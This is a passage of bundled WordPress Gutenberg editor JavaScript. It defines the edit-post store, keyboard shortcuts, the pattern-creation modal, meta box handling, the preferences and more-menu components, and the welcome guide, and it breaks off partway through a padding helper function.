 * @return {boolean} Whether meta boxes are initialized.
 */
function areMetaBoxesInitialized(state) {
  return state.metaBoxes.initialized;
}

/**
 * Retrieves the template of the currently edited post.
 *
 * @return {?Object} Post Template.
 */
const getEditedPostTemplate = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  const {
    id: postId,
    type: postType
  } = select(external_wp_editor_namespaceObject.store).getCurrentPost();
  const templateId = unlock(select(external_wp_coreData_namespaceObject.store)).getTemplateId(postType, postId);
  if (!templateId) {
    return undefined;
  }
  return select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord('postType', 'wp_template', templateId);
});

;// ./node_modules/@wordpress/edit-post/build-module/store/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */





/**
 * Store definition for the edit post namespace.
 *
 * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore
 *
 * @type {Object}
 */
const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, {
  reducer: reducer,
  actions: actions_namespaceObject,
  selectors: selectors_namespaceObject
});
(0,external_wp_data_namespaceObject.register)(store);

;// ./node_modules/@wordpress/edit-post/build-module/components/keyboard-shortcuts/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */

function KeyboardShortcuts() {
  const {
    toggleFullscreenMode
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const {
    registerShortcut
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_keyboardShortcuts_namespaceObject.store);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    registerShortcut({
      name: 'core/edit-post/toggle-fullscreen',
      category: 'global',
      description: (0,external_wp_i18n_namespaceObject.__)('Enable or disable fullscreen mode.'),
      keyCombination: {
        modifier: 'secondary',
        character: 'f'
      }
    });
  }, []);
  (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/edit-post/toggle-fullscreen', () => {
    toggleFullscreenMode();
  });
  return null;
}
/* harmony default export */ const keyboard_shortcuts = (KeyboardShortcuts);

;// ./node_modules/@wordpress/edit-post/build-module/components/init-pattern-modal/index.js
/**
 * WordPress dependencies
 */






function InitPatternModal() {
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
  const [syncType, setSyncType] = (0,external_wp_element_namespaceObject.useState)(undefined);
  const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)('');
  const {
    postType,
    isNewPost
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedPostAttribute,
      isCleanNewPost
    } = select(external_wp_editor_namespaceObject.store);
    return {
      postType: getEditedPostAttribute('type'),
      isNewPost: isCleanNewPost()
    };
  }, []);
  const [isModalOpen, setIsModalOpen] = (0,external_wp_element_namespaceObject.useState)(() => isNewPost && postType === 'wp_block');
  if (postType !== 'wp_block' || !isNewPost) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: isModalOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
      title: (0,external_wp_i18n_namespaceObject.__)('Create pattern'),
      onRequestClose: () => {
        setIsModalOpen(false);
      },
      overlayClassName: "reusable-blocks-menu-items__convert-modal",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
        onSubmit: event => {
          event.preventDefault();
          setIsModalOpen(false);
          editPost({
            title,
            meta: {
              wp_pattern_sync_status: syncType
            }
          });
        },
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
          spacing: "5",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
            label: (0,external_wp_i18n_namespaceObject.__)('Name'),
            value: title,
            onChange: setTitle,
            placeholder: (0,external_wp_i18n_namespaceObject.__)('My pattern'),
            className: "patterns-create-modal__name-input",
            __nextHasNoMarginBottom: true,
            __next40pxDefaultSize: true
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToggleControl, {
            __nextHasNoMarginBottom: true,
            label: (0,external_wp_i18n_namespaceObject._x)('Synced', 'pattern (singular)'),
            help: (0,external_wp_i18n_namespaceObject.__)('Sync this pattern across multiple locations.'),
            checked: !syncType,
            onChange: () => {
              setSyncType(!syncType ? 'unsynced' : undefined);
            }
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
            justify: "right",
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
              __next40pxDefaultSize: true,
              variant: "primary",
              type: "submit",
              disabled: !title,
              accessibleWhenDisabled: true,
              children: (0,external_wp_i18n_namespaceObject.__)('Create')
            })
          })]
        })
      })
    })
  });
}

;// ./node_modules/@wordpress/edit-post/build-module/components/browser-url/index.js
/**
 * WordPress dependencies
 */





/**
 * Returns the Post's Edit URL.
 *
 * @param {number} postId Post ID.
 *
 * @return {string} Post edit URL.
 */
function getPostEditURL(postId) {
  return (0,external_wp_url_namespaceObject.addQueryArgs)('post.php', {
    post: postId,
    action: 'edit'
  });
}
class BrowserURL extends external_wp_element_namespaceObject.Component {
  constructor() {
    super(...arguments);
    this.state = {
      historyId: null
    };
  }
  componentDidUpdate(prevProps) {
    const {
      postId,
      postStatus
    } = this.props;
    const {
      historyId
    } = this.state;
    if ((postId !== prevProps.postId || postId !== historyId) && postStatus !== 'auto-draft' && postId) {
      this.setBrowserURL(postId);
    }
  }

  /**
   * Replaces the browser URL with a post editor link for the given post ID.
   *
   * Note it is important that, since this function may be called when the
   * editor first loads, the result generated `getPostEditURL` matches that
   * produced by the server. Otherwise, the URL will change unexpectedly.
   *
   * @param {number} postId Post ID for which to generate post editor URL.
   */
  setBrowserURL(postId) {
    window.history.replaceState({
      id: postId
    }, 'Post ' + postId, getPostEditURL(postId));
    this.setState(() => ({
      historyId: postId
    }));
  }
  render() {
    return null;
  }
}
/* harmony default export */ const browser_url = ((0,external_wp_data_namespaceObject.withSelect)(select => {
  const {
    getCurrentPost
  } = select(external_wp_editor_namespaceObject.store);
  const post = getCurrentPost();
  let {
    id,
    status,
    type
  } = post;
  const isTemplate = ['wp_template', 'wp_template_part'].includes(type);
  if (isTemplate) {
    id = post.wp_id;
  }
  return {
    postId: id,
    postStatus: status
  };
})(BrowserURL));

;// ./node_modules/@wordpress/edit-post/build-module/components/meta-boxes/meta-boxes-area/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


/**
 * Render metabox area.
 *
 * @param {Object} props          Component props.
 * @param {string} props.location metabox location.
 * @return {Component} The component to be rendered.
 */

function MetaBoxesArea({
  location
}) {
  const container = (0,external_wp_element_namespaceObject.useRef)(null);
  const formRef = (0,external_wp_element_namespaceObject.useRef)(null);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    formRef.current = document.querySelector('.metabox-location-' + location);
    if (formRef.current) {
      container.current.appendChild(formRef.current);
    }
    return () => {
      if (formRef.current) {
        document.querySelector('#metaboxes').appendChild(formRef.current);
      }
    };
  }, [location]);
  const isSaving = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return select(store).isSavingMetaBoxes();
  }, []);
  const classes = dist_clsx('edit-post-meta-boxes-area', `is-${location}`, {
    'is-loading': isSaving
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: classes,
    children: [isSaving && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-post-meta-boxes-area__container",
      ref: container
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-post-meta-boxes-area__clear"
    })]
  });
}
/* harmony default export */ const meta_boxes_area = (MetaBoxesArea);

;// ./node_modules/@wordpress/edit-post/build-module/components/meta-boxes/meta-box-visibility.js
/**
 * WordPress dependencies
 */



function MetaBoxVisibility({
  id
}) {
  const isVisible = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return select(external_wp_editor_namespaceObject.store).isEditorPanelEnabled(`meta-box-${id}`);
  }, [id]);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const element = document.getElementById(id);
    if (!element) {
      return;
    }
    if (isVisible) {
      element.classList.remove('is-hidden');
    } else {
      element.classList.add('is-hidden');
    }
  }, [id, isVisible]);
  return null;
}

;// ./node_modules/@wordpress/edit-post/build-module/components/meta-boxes/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */




function MetaBoxes({
  location
}) {
  const metaBoxes = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).getMetaBoxesPerLocation(location), [location]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [(metaBoxes !== null && metaBoxes !== void 0 ? metaBoxes : []).map(({
      id
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MetaBoxVisibility, {
      id: id
    }, id)), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(meta_boxes_area, {
      location: location
    })]
  });
}

;// external ["wp","keycodes"]
const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
;// ./node_modules/@wordpress/edit-post/build-module/components/more-menu/manage-patterns-menu-item.js
/**
 * WordPress dependencies
 */






function ManagePatternsMenuItem() {
  const url = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    const defaultUrl = (0,external_wp_url_namespaceObject.addQueryArgs)('edit.php', {
      post_type: 'wp_block'
    });
    const patternsUrl = (0,external_wp_url_namespaceObject.addQueryArgs)('site-editor.php', {
      path: '/patterns'
    });

    // The site editor and templates both check whether the user has
    // edit_theme_options capabilities. We can leverage that here and not
    // display the manage patterns link if the user can't access it.
    return canUser('create', {
      kind: 'postType',
      name: 'wp_template'
    }) ? patternsUrl : defaultUrl;
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
    role: "menuitem",
    href: url,
    children: (0,external_wp_i18n_namespaceObject.__)('Manage patterns')
  });
}
/* harmony default export */ const manage_patterns_menu_item = (ManagePatternsMenuItem);

;// ./node_modules/@wordpress/edit-post/build-module/components/more-menu/welcome-guide-menu-item.js
/**
 * WordPress dependencies
 */





function WelcomeGuideMenuItem() {
  const isEditingTemplate = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_editor_namespaceObject.store).getCurrentPostType() === 'wp_template', []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_preferences_namespaceObject.PreferenceToggleMenuItem, {
    scope: "core/edit-post",
    name: isEditingTemplate ? 'welcomeGuideTemplate' : 'welcomeGuide',
    label: (0,external_wp_i18n_namespaceObject.__)('Welcome Guide')
  });
}

;// ./node_modules/@wordpress/edit-post/build-module/components/preferences-modal/enable-custom-fields.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */


const {
  PreferenceBaseOption
} = unlock(external_wp_preferences_namespaceObject.privateApis);
function submitCustomFieldsForm() {
  const customFieldsForm = document.getElementById('toggle-custom-fields-form');

  // Ensure the referrer values is up to update with any
  customFieldsForm.querySelector('[name="_wp_http_referer"]').setAttribute('value', (0,external_wp_url_namespaceObject.getPathAndQueryString)(window.location.href));
  customFieldsForm.submit();
}
function CustomFieldsConfirmation({
  willEnable
}) {
  const [isReloading, setIsReloading] = (0,external_wp_element_namespaceObject.useState)(false);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
      className: "edit-post-preferences-modal__custom-fields-confirmation-message",
      children: (0,external_wp_i18n_namespaceObject.__)('A page reload is required for this change. Make sure your content is saved before reloading.')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
      __next40pxDefaultSize: true,
      variant: "secondary",
      isBusy: isReloading,
      accessibleWhenDisabled: true,
      disabled: isReloading,
      onClick: () => {
        setIsReloading(true);
        submitCustomFieldsForm();
      },
      children: willEnable ? (0,external_wp_i18n_namespaceObject.__)('Show & Reload Page') : (0,external_wp_i18n_namespaceObject.__)('Hide & Reload Page')
    })]
  });
}
function EnableCustomFieldsOption({
  label
}) {
  const areCustomFieldsEnabled = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return !!select(external_wp_editor_namespaceObject.store).getEditorSettings().enableCustomFields;
  }, []);
  const [isChecked, setIsChecked] = (0,external_wp_element_namespaceObject.useState)(areCustomFieldsEnabled);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferenceBaseOption, {
    label: label,
    isChecked: isChecked,
    onChange: setIsChecked,
    children: isChecked !== areCustomFieldsEnabled && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CustomFieldsConfirmation, {
      willEnable: isChecked
    })
  });
}

;// ./node_modules/@wordpress/edit-post/build-module/components/preferences-modal/enable-panel.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


const {
  PreferenceBaseOption: enable_panel_PreferenceBaseOption
} = unlock(external_wp_preferences_namespaceObject.privateApis);
function EnablePanelOption(props) {
  const {
    toggleEditorPanelEnabled
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
  const {
    isChecked,
    isRemoved
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      isEditorPanelEnabled,
      isEditorPanelRemoved
    } = select(external_wp_editor_namespaceObject.store);
    return {
      isChecked: isEditorPanelEnabled(props.panelName),
      isRemoved: isEditorPanelRemoved(props.panelName)
    };
  }, [props.panelName]);
  if (isRemoved) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(enable_panel_PreferenceBaseOption, {
    isChecked: isChecked,
    onChange: () => toggleEditorPanelEnabled(props.panelName),
    ...props
  });
}

;// ./node_modules/@wordpress/edit-post/build-module/components/preferences-modal/meta-boxes-section.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */





const {
  PreferencesModalSection
} = unlock(external_wp_preferences_namespaceObject.privateApis);
function MetaBoxesSection({
  areCustomFieldsRegistered,
  metaBoxes,
  ...sectionProps
}) {
  // The 'Custom Fields' meta box is a special case that we handle separately.
  const thirdPartyMetaBoxes = metaBoxes.filter(({
    id
  }) => id !== 'postcustom');
  if (!areCustomFieldsRegistered && thirdPartyMetaBoxes.length === 0) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(PreferencesModalSection, {
    ...sectionProps,
    children: [areCustomFieldsRegistered && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EnableCustomFieldsOption, {
      label: (0,external_wp_i18n_namespaceObject.__)('Custom fields')
    }), thirdPartyMetaBoxes.map(({
      id,
      title
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EnablePanelOption, {
      label: title,
      panelName: `meta-box-${id}`
    }, id))]
  });
}
/* harmony default export */ const meta_boxes_section = ((0,external_wp_data_namespaceObject.withSelect)(select => {
  const {
    getEditorSettings
  } = select(external_wp_editor_namespaceObject.store);
  const {
    getAllMetaBoxes
  } = select(store);
  return {
    // This setting should not live in the block editor's store.
    areCustomFieldsRegistered: getEditorSettings().enableCustomFields !== undefined,
    metaBoxes: getAllMetaBoxes()
  };
})(MetaBoxesSection));

;// ./node_modules/@wordpress/edit-post/build-module/components/preferences-modal/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



const {
  PreferenceToggleControl
} = unlock(external_wp_preferences_namespaceObject.privateApis);
const {
  PreferencesModal
} = unlock(external_wp_editor_namespaceObject.privateApis);
function EditPostPreferencesModal() {
  const extraSections = {
    general: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(meta_boxes_section, {
      title: (0,external_wp_i18n_namespaceObject.__)('Advanced')
    }),
    appearance: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferenceToggleControl, {
      scope: "core/edit-post",
      featureName: "themeStyles",
      help: (0,external_wp_i18n_namespaceObject.__)('Make the editor look like your theme.'),
      label: (0,external_wp_i18n_namespaceObject.__)('Use theme styles')
    })
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PreferencesModal, {
    extraSections: extraSections
  });
}

;// ./node_modules/@wordpress/edit-post/build-module/components/more-menu/index.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */





const {
  ToolsMoreMenuGroup,
  ViewMoreMenuGroup
} = unlock(external_wp_editor_namespaceObject.privateApis);
const MoreMenu = () => {
  const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('large');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [isLargeViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ViewMoreMenuGroup, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_preferences_namespaceObject.PreferenceToggleMenuItem, {
        scope: "core/edit-post",
        name: "fullscreenMode",
        label: (0,external_wp_i18n_namespaceObject.__)('Fullscreen mode'),
        info: (0,external_wp_i18n_namespaceObject.__)('Show and hide the admin user interface'),
        messageActivated: (0,external_wp_i18n_namespaceObject.__)('Fullscreen mode activated.'),
        messageDeactivated: (0,external_wp_i18n_namespaceObject.__)('Fullscreen mode deactivated.'),
        shortcut: external_wp_keycodes_namespaceObject.displayShortcut.secondary('f')
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(ToolsMoreMenuGroup, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(manage_patterns_menu_item, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideMenuItem, {})]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditPostPreferencesModal, {})]
  });
};
/* harmony default export */ const more_menu = (MoreMenu);

;// ./node_modules/@wordpress/edit-post/build-module/components/welcome-guide/image.js

function WelcomeGuideImage({
  nonAnimatedSrc,
  animatedSrc
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("picture", {
    className: "edit-post-welcome-guide__image",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("source", {
      srcSet: nonAnimatedSrc,
      media: "(prefers-reduced-motion: reduce)"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
      src: animatedSrc,
      width: "312",
      height: "240",
      alt: ""
    })]
  });
}

;// ./node_modules/@wordpress/edit-post/build-module/components/welcome-guide/default.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



function WelcomeGuideDefault() {
  const {
    toggleFeature
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Guide, {
    className: "edit-post-welcome-guide",
    contentLabel: (0,external_wp_i18n_namespaceObject.__)('Welcome to the editor'),
    finishButtonText: (0,external_wp_i18n_namespaceObject.__)('Get started'),
    onFinish: () => toggleFeature('welcomeGuide'),
    pages: [{
      image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, {
        nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-canvas.svg",
        animatedSrc: "https://s.w.org/images/block-editor/welcome-canvas.gif"
      }),
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
          className: "edit-post-welcome-guide__heading",
          children: (0,external_wp_i18n_namespaceObject.__)('Welcome to the editor')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
          className: "edit-post-welcome-guide__text",
          children: (0,external_wp_i18n_namespaceObject.__)('In the WordPress editor, each paragraph, image, or video is presented as a distinct “block” of content.')
        })]
      })
    }, {
      image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, {
        nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-editor.svg",
        animatedSrc: "https://s.w.org/images/block-editor/welcome-editor.gif"
      }),
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
          className: "edit-post-welcome-guide__heading",
          children: (0,external_wp_i18n_namespaceObject.__)('Customize each block')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
          className: "edit-post-welcome-guide__text",
          children: (0,external_wp_i18n_namespaceObject.__)('Each block comes with its own set of controls for changing things like color, width, and alignment. These will show and hide automatically when you have a block selected.')
        })]
      })
    }, {
      image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, {
        nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-library.svg",
        animatedSrc: "https://s.w.org/images/block-editor/welcome-library.gif"
      }),
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
          className: "edit-post-welcome-guide__heading",
          children: (0,external_wp_i18n_namespaceObject.__)('Explore all blocks')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
          className: "edit-post-welcome-guide__text",
          children: (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.__)('All of the blocks available to you live in the block library. You’ll find it wherever you see the <InserterIconImage /> icon.'), {
            InserterIconImage: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
              alt: (0,external_wp_i18n_namespaceObject.__)('inserter'),
              src: "data:image/svg+xml,%3Csvg width='18' height='18' viewBox='0 0 18 18' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect width='18' height='18' rx='2' fill='%231E1E1E'/%3E%3Cpath d='M9.22727 4V14M4 8.77273H14' stroke='white' stroke-width='1.5'/%3E%3C/svg%3E%0A"
            })
          })
        })]
      })
    }, {
      image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, {
        nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-documentation.svg",
        animatedSrc: "https://s.w.org/images/block-editor/welcome-documentation.gif"
      }),
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
          className: "edit-post-welcome-guide__heading",
          children: (0,external_wp_i18n_namespaceObject.__)('Learn more')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
          className: "edit-post-welcome-guide__text",
          children: (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.__)("New to the block editor? Want to learn more about using it? <a>Here's a detailed guide.</a>"), {
            a: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
              href: (0,external_wp_i18n_namespaceObject.__)('https://wordpress.org/documentation/article/wordpress-block-editor/')
            })
          })
        })]
      })
    }]
  });
}

;// ./node_modules/@wordpress/edit-post/build-module/components/welcome-guide/template.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */



function WelcomeGuideTemplate() {
  const {
    toggleFeature
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Guide, {
    className: "edit-template-welcome-guide",
    contentLabel: (0,external_wp_i18n_namespaceObject.__)('Welcome to the template editor'),
    finishButtonText: (0,external_wp_i18n_namespaceObject.__)('Get started'),
    onFinish: () => toggleFeature('welcomeGuideTemplate'),
    pages: [{
      image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, {
        nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-template-editor.svg",
        animatedSrc: "https://s.w.org/images/block-editor/welcome-template-editor.gif"
      }),
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
          className: "edit-post-welcome-guide__heading",
          children: (0,external_wp_i18n_namespaceObject.__)('Welcome to the template editor')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
          className: "edit-post-welcome-guide__text",
          children: (0,external_wp_i18n_namespaceObject.__)('Templates help define the layout of the site. You can customize all aspects of your posts and pages using blocks and patterns in this editor.')
        })]
      })
    }]
  });
}

;// ./node_modules/@wordpress/edit-post/build-module/components/welcome-guide/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */




function WelcomeGuide({
  postType
}) {
  const {
    isActive,
    isEditingTemplate
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      isFeatureActive
    } = select(store);
    const _isEditingTemplate = postType === 'wp_template';
    const feature = _isEditingTemplate ? 'welcomeGuideTemplate' : 'welcomeGuide';
    return {
      isActive: isFeatureActive(feature),
      isEditingTemplate: _isEditingTemplate
    };
  }, [postType]);
  if (!isActive) {
    return null;
  }
  return isEditingTemplate ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideTemplate, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideDefault, {});
}

;// ./node_modules/@wordpress/icons/build-module/library/fullscreen.js
/**
 * WordPress dependencies
 */


const fullscreen = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M6 4a2 2 0 0 0-2 2v3h1.5V6a.5.5 0 0 1 .5-.5h3V4H6Zm3 14.5H6a.5.5 0 0 1-.5-.5v-3H4v3a2 2 0 0 0 2 2h3v-1.5Zm6 1.5v-1.5h3a.5.5 0 0 0 .5-.5v-3H20v3a2 2 0 0 1-2 2h-3Zm3-16a2 2 0 0 1 2 2v3h-1.5V6a.5.5 0 0 0-.5-.5h-3V4h3Z"
  })
});
/* harmony default export */ const library_fullscreen = (fullscreen);

;// ./node_modules/@wordpress/edit-post/build-module/commands/use-commands.js
/**
 * WordPress dependencies
 */






function useCommands() {
  const {
    isFullscreen
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      get
    } = select(external_wp_preferences_namespaceObject.store);
    return {
      isFullscreen: get('core/edit-post', 'fullscreenMode')
    };
  }, []);
  const {
    toggle
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
  const {
    createInfoNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  (0,external_wp_commands_namespaceObject.useCommand)({
    name: 'core/toggle-fullscreen-mode',
    label: isFullscreen ? (0,external_wp_i18n_namespaceObject.__)('Exit fullscreen') : (0,external_wp_i18n_namespaceObject.__)('Enter fullscreen'),
    icon: library_fullscreen,
    callback: ({
      close
    }) => {
      toggle('core/edit-post', 'fullscreenMode');
      close();
      createInfoNotice(isFullscreen ? (0,external_wp_i18n_namespaceObject.__)('Fullscreen off.') : (0,external_wp_i18n_namespaceObject.__)('Fullscreen on.'), {
        id: 'core/edit-post/toggle-fullscreen-mode/notice',
        type: 'snackbar',
        actions: [{
          label: (0,external_wp_i18n_namespaceObject.__)('Undo'),
          onClick: () => {
            toggle('core/edit-post', 'fullscreenMode');
          }
        }]
      });
    }
  });
}

;// ./node_modules/@wordpress/edit-post/build-module/components/layout/use-padding-appender.js
/**
 * WordPress dependencies
 */





// Ruleset to add space for the typewriter effect. When typing in the last
// block, there needs to be room to scroll up.
const CSS = ':root :where(.editor-styles-wrapper)::after {content: ""; display: block; height: 40vh;}';
function usePaddingAppender(enabled) {
  const registry = (0,external_wp_data_namespaceObject.useRegistry)();
  const effect = (0,external_wp_compose_namespaceObject.useRefEffect)(node => {
    function onMouseDown(event) {
      if (event.target !== node &&
      // Tests for the parent element because in the iframed editor if the click is
      // below the padding the target will be the parent element (html) and should
      // still be treated as intent to append.
      event.target !== node.parentElement) {
        return;
      }

      // Only handle clicks under the last child.
      const lastChild = node.lastElementChild;
      if (!lastChild) {
        return;
      }
